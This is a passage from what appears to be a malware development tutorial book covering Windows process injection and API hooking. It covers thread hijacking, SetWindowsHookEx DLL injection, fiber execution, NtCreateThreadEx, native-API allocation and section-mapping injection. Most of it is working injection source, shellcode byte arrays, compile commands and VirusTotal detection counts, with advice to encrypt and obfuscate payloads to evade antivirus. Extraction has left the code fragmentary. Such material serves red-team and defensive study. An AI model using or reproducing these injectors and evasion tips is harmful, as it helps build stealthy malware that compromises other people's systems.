0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
120
hResult = Process32First(hSnapshot, &pe);
HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct;
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
ct.ContextFlags = CONTEXT_FULL;
te.dwSize = sizeof(THREADENTRY32);
if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}
121
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
CloseHandle(ph);
}
return 0;
}
122
Then, as usually, allocate space in the target process for our payload:
The next step we find a thread ID of the thread we want to hijack in the target
process. In our case, we will fetch the thread ID of the first thread in our target
process. We will leverage CreateToolhelp32Snapshot to create a snapshot of
123
target process’s threads and enum them with Thread32Next. This will give us
the thread ID we will be hijacking:
Update the target thread’s register RIP (instruction pointer on 64-bit) to point
124
to our payload:
But there are the caveat, which is called “SetThreadContext anomaly”. For
some processes, the volatile registers (RAX, RCX, RDX, R8-R11) are set by
SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored.
Best not rely on SetThreadContext to set those registers.
Commit the hijacked thread:
125
As you can see, it’s not so difficult. Let’s go to compile this malware code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive >/dev/null 2>&1
Then on victim machine let’s first launch a notepad.exe instance and then
execute our program:
.\hack.exe notepad.exe
126
and our payload code is still working after close victim process notepad.exe:
127
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
SuspendThread
GetThreadContext
SetThreadContext
ResumeThread
“Classic” code injection
“Classic” DLL injection
Source code in Github
In this tutorial, I’ll take a look at the DLL injection by using the
SetWindowsHookEx method.
SetWindowsHookEx
Let’s go to look an example which demonstrates this technique. The
SetWindowsHookEx installs a hook routine into the hook chain, which is then
invoked whenever certain events are triggered. Let’s take a look at the function
syntax:
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);
The most important param here is idHook. The type of hook to be installed,
which can hold one of the following values:
128
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
In our case, I’ll be hooking the WH_KEYBOARD type of event, which will allow us
to monitor keystroke messages.
malicious DLL
Let’s go to prepare our malicious DLL. For simplicity, we create DLL which just
pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/25/malware-injection-7.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
129
return TRUE;
}
As you can see we have a pretty simple DLL. The DllMain() function is called
when the DLL is loaded into the process’s address space. There’s also a function
named Meow(), which is an exported function and which is just pop-up message
“Meow from evil.dll!”.
int main(void) {
HINSTANCE meowDll;
MeowProc meowFunc;
// load evil DLL
meowDll = LoadLibrary(TEXT("evil.dll"));
130
(HOOKPROC)meowFunc, meowDll, 0);
Sleep(5*1000);
UnhookWindowsHookEx(hook);
return 0;
}
It’s also pretty simple. First of all we call LoadLibrary to load our malicious
DLL:
Then, we are calling the GetProcAddress to get the address of the exported
function Meow:
After that, the our malware calls the most important function, the
SetWindowsHookEx. The parameters passed to that function determine
what the function will actually do:
131
As you can see, whenever the keyboard event will occur, our function will be
called. And we are passing the address of the our exported function - meowFunc
parameter. Also we are passing the handle to our DLL - meowDll parameter.
The last parameter 0 specifies that we want all programs to be hooked, not just
a specific one, so it’s a global hook.
Then we call Sleep:
132
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile malicious DLL firstly:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
Then, see everything in action! Start our hack.exe on the victim machine
133
(Windows 7 x64):
.\hack.exe
We can see that everything was completed successfully and at this point whenever
we start a program, pop-up our message only when keyboard key is pressed.
Conclusion
In this section, I’ve demonstrate how we can use the SetWindowsHookEx function
to inject the DLL into the process’s address space and execute arbitrary code
inside the process’s address space.
There is a caveat. This technique is not working in my Windows 10 x64 machine.
I think the reason is this: CIG block this technique. Windows 10 x64 have two
important things:
• CFG (Control Flow Guard) – prevent indirect calls to non-approved
addresses
• CIG (Code Integrity Guard) - only allow modules signed by Mi-
crosoft/Microsoft Store/WHQL to be loaded into the process memory.
In this presentation from BlackHat USA 2019, the authors explain that CIG
block this technique.
Let’s go to upload our hack.exe to virustotal:
134
https://www.virustotal.com/gui/file/273e191999eb6a4bc010eeaf9c4e196d9175
09250f87a121fa1cfeded41b7921
So, 5 of 67 AV engines detect our file as malicious.
BlackHat USA 2019 process injection techniques Gotta Catch Them All
SetWindowsHookEx
Using Hooks MSDN
Exporting from a DLL
Source code in Github
In this post, I’ll take a look at the code injection to local process through
Windows Fibers API.
A fiber is a unit of execution that must be manually scheduled by the application.
135
Fibers run in the context of the threads that schedule them.
example
Let’s go to consider an example which demonstrate this technique.
Firstly, before scheduling the first fiber, call the ConvertThreadToFiber function
to create an area in which to save fiber state information:
Then, allocate some memory for our payload and payload is written to the
allocated memory:
136
And finally, schedule the newly created fiber that points to our payload:
137
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main() {
PVOID f; // converted
PVOID payload_mem; // memory buffer for payload
PVOID payloadF; // fiber
138
// create a fiber that will execute payload
payloadF = CreateFiber(NULL,
(LPFIBER_START_ROUTINE)payload_mem,
NULL);
SwitchToFiber(payloadF);
return 0;
}
As you can see for simplicity, we use 64-bit calc.exe as the payload. Without
delving into the generation of the payload, we will simply insert payload into
our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
139
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
140
Let’s go to upload our malware to virustotal:
https://www.virustotal.com/gui/file/f03bdb9fa52f7b61ef03141fefff1498ad261
2740b1fdbf6941f1c5af5eee70a?nocache=1
So, 25 of 67 AV engines detect our file as malicious.
For better result we can combine payload encryption with random key and
obfuscate functions with another keys etc.
Also we can use AES encryption for payload encryption.
141
BlackHat USA 2019 process injection techniques Gotta Catch Them All
MSDN Fibers
VirtualAlloc
ConvertThreadToFiber
CreateFiber
SwitchToFiber
memcpy
Source code in Github
example 1
Before hooking windows API functions I will consider the case of how to do this
with an exported function from a DLL.
For example we have DLL with this logic (pet.cpp):
/*
pet.dll - DLL example for basic hooking
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
142
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) int _cdecl Cat(LPCTSTR say) {
MessageBox(NULL, say, "=ˆ..ˆ=", MB_OK);
return 1;
}
}
extern "C" {
__declspec(dllexport) int _cdecl Mouse(LPCTSTR say) {
MessageBox(NULL, say, "<:3()~~", MB_OK);
return 1;
}
}
extern "C" {
__declspec(dllexport) int _cdecl Frog(LPCTSTR say) {
MessageBox(NULL, say, "8)~", MB_OK);
return 1;
}
}
extern "C" {
__declspec(dllexport) int _cdecl Bird(LPCTSTR say) {
MessageBox(NULL, say, "<(-)", MB_OK);
return 1;
}
}
As you can see this DLL have simplest exported functions: Cat, Mouse, Frog,
Bird with one param say. As you can see the logic of this functions is simplest,
just pop-up message with title.
Let’s go to compile it:
143
x86_64-w64-mingw32-gcc -shared -o pet.dll pet.cpp -fpermissive
int main(void) {
HINSTANCE petDll;
CatProc catFunc;
BirdProc birdFunc;
BOOL freeRes;
petDll = LoadLibrary("pet.dll");
if (petDll != NULL) {
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
birdFunc = (BirdProc) GetProcAddress(petDll, "Bird");
if ((catFunc != NULL) && (birdFunc != NULL)) {
(catFunc) ("meow-meow");
(catFunc) ("mmmmeow");
(birdFunc) ("tweet-tweet");
}
freeRes = FreeLibrary(petDll);
}
return 0;
}
144
and run on Windows 7 x64:
.\cat.exe
145
and as you can see, everything works as expected.
Then, for example Cat function will be hooked in this scenario, but it could be
any.
The workflow of this technique is as follows:
First, get memory address of the Cat function.
then, save the first 5 bytes of the Cat function. We will need this bytes:
146
then, create a myFunc function that will be executed when the original Cat is
called:
147
in the next step, patch our Cat function (redirect Cat function to myFunc):
So what have we done here? This trick is “classic 5-byte hook” technique. If we
disassemble function:
The highlighted 5 bytes is a fairly typical prologue found in many API functions.
By overwriting these first 5 bytes with a jmp instruction, we are redirecting
execution to our own defined function. We will save the original bytes so that
they can be referenced later when we want to pass execution back to the hooked
function.
So firstly, we call original Cat function, set our hook and call Cat again:
148
Full source code is:
/*
hooking.cpp
basic hooking example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/30/basic-hooking-1.html
*/
#include <windows.h>
FARPROC hookedAddress;
149
petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch,
5, NULL);
int main() {
HINSTANCE petDll;
150
CatProc catFunc;
petDll = LoadLibrary("pet.dll");
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
// install hook
setMySuperHook();
151
As you can see our hook is worked perfectly!! Cat goes meow-squeak-tweet!!!
instead meow-meow!
example 2
Similarly, you can hook for example, a function WinExec from kernel32.dll
(hooking2.cpp):
#include <windows.h>
FARPROC hookedAddress;
152
// return to the original function and modify the text
return WinExec("calc", uCmdShow);
}
// hooking logic
void setMySuperHook() {
HINSTANCE hLib;
VOID *myFuncAddress;
DWORD *rOffset;
DWORD src;
DWORD dst;
CHAR patch[5]= {0};
WriteProcessMemory(GetCurrentProcess(),
(LPVOID)hookedAddress, patch, 5, NULL);
int main() {
// call original
WinExec("notepad", SW_SHOWDEFAULT);
// install hook
153
setMySuperHook();
Let’s go to compile:
x86_64-w64-mingw32-g++ -O2 hooking2.cpp -o hooking2.exe \
-mconsole -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive
and run:
.\hooking2.exe
154
Source code in Github
MessageBox
WinExec
Exporting from DLL using __declspec
This is a very short section and it describes an example usage inline assembly
for running shellcode in malware.
Let’s take a look at example C++ source code of our malware:
/*
hack.cpp
code inject via inline ASM
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/03/inline-asm-1.html
*/
#include <windows.h>
#include <stdio.h>
int main() {
printf("=ˆ..ˆ= meow-meow. You are hacked =ˆ..ˆ=\n");
asm(".byte 0x90,0x90,0x90,0x90\n\t"
"ret \n\t");
return 0;
}
As you can see, the logic is simplest, I’m just adding 4 NOP instructions and
printing meow-meow string before. I can easily find the shellcode in the debugger
based on this meow string:
155
Let’s go to compile:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe \
-mconsole -fpermissive
As you can see, the highlighted instructions are my NOP instructions, so every-
thing work perfectly as expected.
The reason why it’s good to have this technique in your arsenal is because it
156
does not require you to allocate new RWX memory to copy your shellcode over
to by using VirtualAlloc which is more popular and suspicious and which is
more closely investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
inline assembly
source code in Github
In the previous sections I wrote about classic DLL injection via CreateRe-
moteThread, via SetWindowsHookEx.
Today I’ll consider another DLL injection technique. Its meaning is that we
are using an undocumented function NtCreateThreadEx. So let’s go to show
how to inject malicious DLL into the remote process by leveraging a Win32API
functions VirtualAllocEx, WriteProcessMemory, WaitForSingleObject and
an officially undocumented Native API NtCreateThreadEx.
First of all, let’s take a look at example C++ source code of our malicious DLL
(evil.c):
/*
DLL example for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/pentest/2021/12/06/malware-injection-9.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
157
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=ˆ..ˆ=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Then, let’s take a look to the source code of our malware (hack.cpp):
/*
hack.cpp
DLL injection via undocumented NtCreateThreadEx example
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
158
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;
159
}
hResult = Process32Next(hSnapshot, &pe);
}
if (ntCTEx == NULL) {
CloseHandle(ph);
printf("NtCreateThreadEx failed :( exiting...\n");
return -2;
}
pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);
if (ph == NULL) {
printf("OpenProcess failed :( exiting...\n");
return -2;
}
160
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, evilLen,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (ht == NULL) {
CloseHandle(ph);
printf("ThreadHandle failed :( exiting...\n");
return -2;
} else {
printf("successfully inject via NtCreateThreadEx :)\n");
}
WaitForSingleObject(ht, INFINITE);
CloseHandle(ht);
CloseHandle(ph);
}
return 0;
}
Let’s go to investigate this code logic. As you can see, firstly, I used a function
FindMyProc from one of my past posts. It’s pretty simple, basically, what it
does, it takes the name of the process we want to inject to and try to find it in
a memory of the operating system, and if it exists, it’s running, this function
return a process ID of that process.
Then, in main function our logic is same as in my classic DLL injection
post. The only difference is we use NtCreateThreadEx function instead
CreateRemoteThread:
161
As shown in this code, the Windows API call can be replaced with Native
API call functions. For example, VirtualAllocEx can be replace with
NtAllocateVirtualMemory, WriteProcessMemory can be replaces with
NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may
change in the future.
But there is a caveat. Let’s go to create simple code for our “victim” process
(mouse.c):
/*
hack.cpp
victim process source code for DLL injection via NtCreateThreadEx
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/12/06/malware-injection-9.html
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int main() {
MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
return 0;
}
As you can see, the logic is simplest, I’s just pop-up Squeak-squeak! message.
Let’s go to compile:
162
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-fpermissive
And check:
163
Then, run process hacker 2:
164
As you can see our malware is correctly found process ID of victim.
Let’s go to investigate properties of our victim process PID: 3884:
165
As you can see, our malicious DLL successfully injected as expected!
But why we are not injecting to the another process like notepad.exe or
svchost.exe?
I read about Session Separation and I think it is reason of my problem so I have
one question: How I can hacking Windows 10 :)
The reason why it’s good to have this technique in your arsenal is because we
are not using CreateRemoteThread which is more popular and suspicious and
which is more closely investigated by the blue teamers.
I hope this post spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
Session Separation
source code in Github
166
22. code injection via undocumented NtAllocateVir-
tualMemory. Simple C++ example.
167
Then, loading the ntdll.dll library to invoke NtAllocateVirtualMemory:
168
As shown in this code, the Windows API call can be replaced with Native
API call functions. For example, VirtualAllocEx can be replace with
NtAllocateVirtualMemory, WriteProcessMemory can be replaces with
NtWriteProcessMemory.
The downside to this method is that the function is undocumented so it may
change in the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
169
For example, the highlighted process mspaint.exe is our victim.
Let’s run our simple malware:
.\hack.exe 6252
170
As you can see, our meow-meow payload successfully injected as expected!
The reason why it’s good to have this technique in your arsenal is because we
are not using VirtualAllocEx which is more popular and suspicious and which
is more closely investigated by the blue teamers.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
In the next section I’ll try to consider another NT API functions, the main logic
is the same but there is a caveat with defining the structures and associated
parameters. Without defining this structures the code will not run.
VirtualAllocEx
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github
171
23. code injection via undocumented Native API functions.
Simple C++ example.
172
Similarly, OBJECT_ATTRIBUTES and PCLIENT_ID need to be defined. These
structures are defined under NT Kernel header files.
We can run WinDBG in local kernel mode and run:
dt nt!_OBJECT_ATTRIBUTES
Then run:
dt nt!_CLIENT_ID
173
and:
dt nt!_UNICODE_STRING
174
There is one more caveat. Before returning the handle by the NtOpenProcess
function/ routine, the Object Attributes need to be initialized which
can be applied to the handle. To initialize the Object Attributes an
IntitializeObjectAttributes macro is defined and invoked which specifies
the properties of an object handle to routines that open handles.
IntitializeObjectAttributes
Then, loading the ntdll.dll library to invoke NtOpenProcess:
175
And then get starting addresses of the our functions:
As shown in this code, the Windows API call OpenProcess can be replaced with
Native API call function NtOpenProcess. But we need to define the structures
176
which are defined in the NT kernel header files.
The downside to this method is that the function is undocumented so it may
change in the future.
Let’s go to see our simple malware in action. Compile hack.cpp:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive
177
.\hack.exe 4964
178
The reason why it’s good to have this technique in your arsenal is because we
are not using OpenProcess which is more popular and suspicious and which is
more closely investigated by the blue teamers.
Let’s go to upload our new hack.exe with encrypted command to Virustotal
(13.12.2021):
https://www.virustotal.com/gui/file/9f4213643891fc14473948deb15077d9b7b4
d2da3db467932e57e7e383e535e6?nocache=1
So, 5 of 65 AV engines detect our file as malicious.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.
WinDBG kernel debugging
VirtualAllocEx
NtOpenProcess
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github
179
24. code injection via memory sections. Simple C++
example.
In the previous sections I wrote about classic injections where WinAPI functions
replaced with Native API functions.
The following section is a result of self-research of another malware development
technique.
Although the use of these trick in a regular application is an indication of
something malicious, threat actors will continue to use them for process injection.
what is section?
Section is a memory block that is shared between processes and can be created
with NtCreateSection API.
practical example.
The flow is this technique is: firstly, we create a new section object via
NtCreateSection:
180
Then, before a process can read/write to that block of memory, it has to map a
view of the said section, which can be done with NtMapViewOfSection:
Map a view of the created section to the local malicious process with RW protec-
tion:
Then, map a view of the created section to the remote target process with RX
protection:
As you can see for opening process I used Native API NtOpenProcess function:
181
Then, write our payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
Then, create a remote thread in the target process and point it to the mapped
182
view in the target process to trigger the shellcode via RtlCreateUserThread:
183
/*
* hack.cpp
* advanced code injection technique via
* NtCreateSection and NtMapViewOfSection
* author @cocomelonc
* https://cocomelonc.github.com/tutorial/
2021/12/13/malware-injection-12.html
*/
#include <iostream>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}
// dt nt!_UNICODE_STRING
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// dt nt!_OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
// dt nt!_CLIENT_ID
typedef struct _CLIENT_ID {
PVOID UniqueProcess;
184
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
// NtCreateSection syntax
typedef NTSTATUS(NTAPI* pNtCreateSection)(
OUT PHANDLE SectionHandle,
